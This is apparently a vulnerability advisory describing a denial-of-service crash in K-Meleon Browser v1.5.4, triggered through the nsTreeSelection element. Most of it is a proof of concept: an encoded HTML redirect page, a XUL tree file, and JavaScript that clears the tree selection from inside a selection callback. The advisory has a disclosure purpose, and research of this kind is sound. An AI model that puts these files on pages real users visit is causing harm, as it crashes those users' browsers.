Title: ====== K-Meleon Browser v1.5.4 - Denial of Service Vulnerability Introduction: ============= K-Meleon is an extremely fast, customizable, lightweight web browser based on the Gecko layout engine developed by Mozilla which is also used by Firefox. K-Meleon is Free, Open Source software released under the GNU General Public License and is designed specifically for Microsoft Windows operating systems. (Copy of the Vendor Homepage: http://kmeleon.sourceforge.net ) Abstract: ========= Vulnerability Laboratory Research Team discovered a remote Dangle pointer (Denial of Service) Vulnerability on K-Meleon Browser v1.5.4. Details: ======== A denial of service vulnerability is detected on K-Meleon Browser v1.5.4 . The vulnerability allows an attacker to form manipulated files to crash th victims browser stable when processing to request. The null pointer dos vulnerability is located nsTreeSelection element. Successful exploitation results in a stable (bex exception) application (StackHash_2c85) crash. Vulnerable Module(s): [+] nsTreeSelection element Proof of Concept: ================= The vulnerability can be exploited by remote attackers. Victim only need to visit the malicious file (frame-class.html) to crash stable. For demonstration or reproduce ... frame-class.html <script language=JavaScript>m='%3Chtml%3E%0A%3Capplet%20code%3D%22hexHEX.class%22%20width %3D100%20height%3D140%3E%3C/applet%3E%0A%3Cscript%3Edocument.location%3D%22tree.xul%22%3C/ script%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script> tree.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/javascript"?> <window id="poc-test" title="TESTING EXPLOIT" orient="vertical" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; onload="doSelect()"> <script src="rem0ve.js"/> <tree id="penetrationtest" rows="1" onselect="doSelect()"> <treechildren> <treeitem container="true" open="true"> <treerow> <treecell label="rem0ve () vulnerability-lab com"/> </treerow> </treeitem> </treechildren> </tree> </window> rem0ve.js function Init() { var tree=document.getElementById('penetrationtest'); tree.view.selection.select(0); doSelect(); } function doSelect() { var tree=document.getElementById('penetrationtest'); var sel = tree.view.selection; sel.tree = { invalidateRange: function(v,l) { sel.clearSelection(); } } } setTimeout("Init()",500);